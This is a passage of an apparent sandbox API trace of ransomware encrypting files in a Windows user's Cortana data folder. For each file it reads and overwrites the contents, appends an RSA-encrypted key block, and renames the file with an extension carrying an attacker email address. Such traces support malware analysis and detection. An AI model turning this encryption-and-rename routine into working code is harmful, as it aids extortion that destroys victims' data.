(lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Apps_{c688b2f4-b87a-41d7-ad85-f18c82dab793}\\Apps.ft", dwFileAttributes=0x80) returned 1 [0248.598] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x140) returned 0x2fadde8 [0248.598] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1de) returned 0x66e948 [0248.598] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2fadde8 | out: hHeap=0x570000) returned 1 [0248.598] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Apps_{c688b2f4-b87a-41d7-ad85-f18c82dab793}\\Apps.ft" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\apps_{c688b2f4-b87a-41d7-ad85-f18c82dab793}\\apps.ft"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b00 [0248.599] GetFileSizeEx (in: hFile=0x1b00, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=28943) returned 1 [0248.599] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x710f) returned 0x33f5018 [0248.599] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x710f) returned 0x33fc130 [0248.599] ReadFile (in: hFile=0x1b00, lpBuffer=0x33f5018, nNumberOfBytesToRead=0x710f, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x33f5018*, lpNumberOfBytesRead=0x2e3f9b4*=0x710f, lpOverlapped=0x0) returned 1 [0248.615] SetFilePointer (in: hFile=0x1b00, lDistanceToMove=-28943, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0248.615] WriteFile (in: hFile=0x1b00, lpBuffer=0x33fc130*, nNumberOfBytesToWrite=0x710f, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x33fc130*, lpNumberOfBytesWritten=0x2e3f9b4*=0x710f, lpOverlapped=0x0) returned 1 [0248.615] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x33f5018 | out: hHeap=0x570000) returned 1 [0248.615] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x33fc130 | out: hHeap=0x570000) returned 1 [0248.615] SetFilePointer (in: hFile=0x1b00, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x710f [0248.615] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0248.615] WriteFile (in: hFile=0x1b00, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0248.616] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0248.616] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0248.616] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0248.616] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x66eb30 [0248.616] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x66eb30, pcchString=0x2e3f9a8 | out: pszString="A+Li0G1sZ5jqcRsJ9uODJd1d889WJErWtq50vRapidDmzQxUcMvbqMYXXNBqEK8b\nqSiLVSG4b8hqm733MIptESv/poQ3iYO+xLsmW1Hcjw5vV0hFEUNRH2jYdtOiEYMl\nOjpOmz4i9lvruoJPqpbb+tJ51Aitt3Yx7R5UFFwaI1wFnpfde+0bOQq1WhMCQlyh\n5aZmm10gKCIFw+DZZZmwuut7qna5JcpWzPXCh82HTqlNZJZO2ZdXIoJEeXHegXfG\nuwvNLm8FzI2vv14D3mTz8Vxr+y850aDhMxPGFlMhlK+tzQeyo5lsMLzUAAa/66DL\nFnWr8HnlwsBODWbsFXA5mA==\n", pcchString=0x2e3f9a8) returned 1 [0248.616] WriteFile (in: hFile=0x1b00, lpBuffer=0x66eb30*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66eb30*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0248.616] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0248.616] WriteFile (in: hFile=0x1b00, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0248.616] CloseHandle (hObject=0x1b00) returned 1 [0248.616] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x66eb30 | out: hHeap=0x570000) returned 1 [0248.616] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Apps_{c688b2f4-b87a-41d7-ad85-f18c82dab793}\\Apps.ft" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\apps_{c688b2f4-b87a-41d7-ad85-f18c82dab793}\\apps.ft"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Apps_{c688b2f4-b87a-41d7-ad85-f18c82dab793}\\Apps.ft.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\apps_{c688b2f4-b87a-41d7-ad85-f18c82dab793}\\apps.ft.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0248.727] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x66e948 | out: hHeap=0x570000) returned 1 [0248.727] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6708 | out: hHeap=0x570000) returned 1 [0248.727] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2fada10 | out: hHeap=0x570000) returned 1 [0248.727] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2fae1c0 | out: hHeap=0x570000) returned 1 [0248.727] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x170) returned 0x66e948 [0248.727] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6708 [0248.727] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0248.727] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Apps_{c688b2f4-b87a-41d7-ad85-f18c82dab793}\\0.2.filtertrie.intermediate.txt", dwFileAttributes=0x80) returned 1 [0248.728] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x170) returned 0x66eac0 [0248.728] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x226) returned 0x66ec38 [0248.728] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x66eac0 | out: hHeap=0x570000) returned 1 [0248.728] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Apps_{c688b2f4-b87a-41d7-ad85-f18c82dab793}\\0.2.filtertrie.intermediate.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\apps_{c688b2f4-b87a-41d7-ad85-f18c82dab793}\\0.2.filtertrie.intermediate.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b00 [0248.729] GetFileSizeEx (in: hFile=0x1b00, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=5) returned 1 [0248.729] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x5) returned 0x59d4b0 [0248.729] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x5) returned 0x59d430 [0248.729] ReadFile (in: hFile=0x1b00, lpBuffer=0x59d4b0, nNumberOfBytesToRead=0x5, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d4b0*, lpNumberOfBytesRead=0x2e3f9b4*=0x5, lpOverlapped=0x0) returned 1 [0248.729] SetFilePointer (in: hFile=0x1b00, lDistanceToMove=-5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0248.730] WriteFile (in: hFile=0x1b00, lpBuffer=0x59d430*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d430*, lpNumberOfBytesWritten=0x2e3f9b4*=0x5, lpOverlapped=0x0) returned 1 [0248.730] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d4b0 | out: hHeap=0x570000) returned 1 [0248.730] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d430 | out: hHeap=0x570000) returned 1 [0248.730] SetFilePointer (in: hFile=0x1b00, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x5 [0248.730] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0248.730] WriteFile (in: hFile=0x1b00, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0248.730] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0248.730] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0248.730] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0248.730] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x313e008 [0248.730] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x313e008, pcchString=0x2e3f9a8 | out: pszString="N6IRnInwbg0EvpsmWIaRzyLbpTo0EtREfewYuLFjoZ+YttC6zphiveqz4D85aHuV\nBAR0fzxO93B13eu1LF8J8bpGHOKyf4P/d8wvVH9f9T9jMIcM/HZkxznjiB0Fvmu4\nSIhKFLXgTxBNrNQ2X5t5uTbEi95T9zth+ac+MZKtns5R43H5uVwC+g/WF0UrInjM\nHO/2eDZOrC9KWPpcVd4IXcJz0HEz9yXPmNV3+d9o87xmC3DmoG+j9Md71l0o5hXI\n4FdpA9J9yuT4n47a9AEmN42UWnyUjPzHHdY7F9YK+gpWvs0EKILZpCVtyp0U0JQH\n+kCVkKxIeHHpyg3E0fpHLQ==\n", pcchString=0x2e3f9a8) returned 1 [0248.730] WriteFile (in: hFile=0x1b00, lpBuffer=0x313e008*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x313e008*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0248.731] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0248.731] WriteFile (in: hFile=0x1b00, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0248.731] CloseHandle (hObject=0x1b00) returned 1 [0248.731] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x313e008 | out: hHeap=0x570000) returned 1 [0248.731] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Apps_{c688b2f4-b87a-41d7-ad85-f18c82dab793}\\0.2.filtertrie.intermediate.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\apps_{c688b2f4-b87a-41d7-ad85-f18c82dab793}\\0.2.filtertrie.intermediate.txt"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Apps_{c688b2f4-b87a-41d7-ad85-f18c82dab793}\\0.2.filtertrie.intermediate.txt.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\apps_{c688b2f4-b87a-41d7-ad85-f18c82dab793}\\0.2.filtertrie.intermediate.txt.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0248.733] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x66ec38 | out: hHeap=0x570000) returned 1 [0248.733] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6708 | out: hHeap=0x570000) returned 1 [0248.733] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x66e948 | out: hHeap=0x570000) returned 1 [0248.733] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5aa568 | out: hHeap=0x570000) returned 1 [0248.733] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x170) returned 0x5aa568 [0248.733] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6708 [0248.733] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0248.733] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Apps_{c688b2f4-b87a-41d7-ad85-f18c82dab793}\\0.1.filtertrie.intermediate.txt", dwFileAttributes=0x80) returned 1 [0248.734] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x170) returned 0x66e948 [0248.734] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x226) returned 0x66eac0 [0248.734] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x66e948 | out: hHeap=0x570000) returned 1 [0248.734] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Apps_{c688b2f4-b87a-41d7-ad85-f18c82dab793}\\0.1.filtertrie.intermediate.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\apps_{c688b2f4-b87a-41d7-ad85-f18c82dab793}\\0.1.filtertrie.intermediate.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b00 [0248.734] GetFileSizeEx (in: hFile=0x1b00, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=5) returned 1 [0248.734] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x5) returned 0x59d430 [0248.734] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x5) returned 0x59d4b0 [0248.734] ReadFile (in: hFile=0x1b00, lpBuffer=0x59d430, nNumberOfBytesToRead=0x5, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d430*, lpNumberOfBytesRead=0x2e3f9b4*=0x5, lpOverlapped=0x0) returned 1 [0248.735] SetFilePointer (in: hFile=0x1b00, lDistanceToMove=-5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0248.735] WriteFile (in: hFile=0x1b00, lpBuffer=0x59d4b0*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d4b0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x5, lpOverlapped=0x0) returned 1 [0248.735] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d430 | out: hHeap=0x570000) returned 1 [0248.735] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d4b0 | out: hHeap=0x570000) returned 1 [0248.735] SetFilePointer (in: hFile=0x1b00, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x5 [0248.735] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0248.735] WriteFile (in: hFile=0x1b00, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0248.736] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0248.736] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0248.736] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0248.736] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x66ecf0 [0248.736] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x66ecf0, pcchString=0x2e3f9a8 | out: pszString="EO5A3frPMQvEF7xXKSiG/J1FVgry3gFdJBUfcDhwXi0y9qlO6KT5cyPPW2cPdWNA\nObYysaZ08y2R34TEsbdi232+vf/WIUxXK4iq5vAcx8wh7zk/olB+GZFKMyqVcMd8\noDKv5b/4OzQdIw3nqciUjkm6wDgnvT42RdASYkJOFH0mT4Pgf19Vsvsil33n42+f\nSC9WmwJk+69W7TJs79pypQzSDjUWFOUGQvVNBXI5p3KOezfArU+8UJWLlcfaXVin\nJ/WvbBosb7JKAnwVE/zWryD1M/E4LDt6Xh2TUrGbICADJudUUrI/DG2/YjGl0GJH\nqMrz4A3wXx+gYIS3Q+1+pw==\n", pcchString=0x2e3f9a8) returned 1 [0248.736] WriteFile (in: hFile=0x1b00, lpBuffer=0x66ecf0*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66ecf0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0248.736] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0248.736] WriteFile (in: hFile=0x1b00, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0248.736] CloseHandle (hObject=0x1b00) returned 1 [0248.736] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x66ecf0 | out: hHeap=0x570000) returned 1 [0248.736] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Apps_{c688b2f4-b87a-41d7-ad85-f18c82dab793}\\0.1.filtertrie.intermediate.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\apps_{c688b2f4-b87a-41d7-ad85-f18c82dab793}\\0.1.filtertrie.intermediate.txt"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Apps_{c688b2f4-b87a-41d7-ad85-f18c82dab793}\\0.1.filtertrie.intermediate.txt.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\apps_{c688b2f4-b87a-41d7-ad85-f18c82dab793}\\0.1.filtertrie.intermediate.txt.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0248.738] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x66eac0 | out: hHeap=0x570000) returned 1 [0248.738] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6708 | out: hHeap=0x570000) returned 1 [0248.738] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5aa568 | out: hHeap=0x570000) returned 1 [0248.738] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0248.738] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x170) returned 0x5a8108 [0248.738] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6708 [0248.738] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0248.738] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Apps_{c688b2f4-b87a-41d7-ad85-f18c82dab793}\\0.0.filtertrie.intermediate.txt", dwFileAttributes=0x80) returned 1 [0248.739] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x170) returned 0x5aa568 [0248.739] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x226) returned 0x66e948 [0248.739] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5aa568 | out: hHeap=0x570000) returned 1 [0248.739] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Apps_{c688b2f4-b87a-41d7-ad85-f18c82dab793}\\0.0.filtertrie.intermediate.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\apps_{c688b2f4-b87a-41d7-ad85-f18c82dab793}\\0.0.filtertrie.intermediate.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b00 [0248.739] GetFileSizeEx (in: hFile=0x1b00, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=21530) returned 1 [0248.739] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x541a) returned 0x2f39028 [0248.739] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x541a) returned 0x33f5018 [0248.740] ReadFile (in: hFile=0x1b00, lpBuffer=0x2f39028, nNumberOfBytesToRead=0x541a, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f39028*, lpNumberOfBytesRead=0x2e3f9b4*=0x541a, lpOverlapped=0x0) returned 1 [0248.752] SetFilePointer (in: hFile=0x1b00, lDistanceToMove=-21530, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0248.752] WriteFile (in: hFile=0x1b00, lpBuffer=0x33f5018*, nNumberOfBytesToWrite=0x541a, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x33f5018*, lpNumberOfBytesWritten=0x2e3f9b4*=0x541a, lpOverlapped=0x0) returned 1 [0248.753] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f39028 | out: hHeap=0x570000) returned 1 [0248.753] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x33f5018 | out: hHeap=0x570000) returned 1 [0248.753] SetFilePointer (in: hFile=0x1b00, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x541a [0248.753] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0248.753] WriteFile (in: hFile=0x1b00, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0248.753] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0248.753] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0248.753] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0248.753] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x66eb78 [0248.753] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x66eb78, pcchString=0x2e3f9a8 | out: pszString="LdgADWuo7zr1QeDsw5jOO7ZczFcfIRS6h4SHn94LCndE/tB4F3SIch6eEBBzlU/F\n3zN8Dq9fJvaWZO5YDualQhkjxE4RaLyqQcoA8P0ijEYe6FHwnzYNmqRtO/9XHxgu\nivjEmVdCZpOcFXHvIadRkdDc3xGN8RTVPIekUQjJ3wxj0Ki7Gq4sVKIeNEXR0VYh\nRQ7biZkZqeb1tl3NC5IGnSOCb9BeZp36MRmV6/fBn622w5l69PtxchiU25QDe9bF\nPf90AFdEju3TWTPWvITzXagfkFz3HGhPiBof0twnUb9ZIe+JFV1kDv3k9zoxtOt8\n6iPrtgO5Jaa4uKaZr67NIQ==\n", pcchString=0x2e3f9a8) returned 1 [0248.753] WriteFile (in: hFile=0x1b00, lpBuffer=0x66eb78*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66eb78*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0248.753] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0248.753] WriteFile (in: hFile=0x1b00, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, 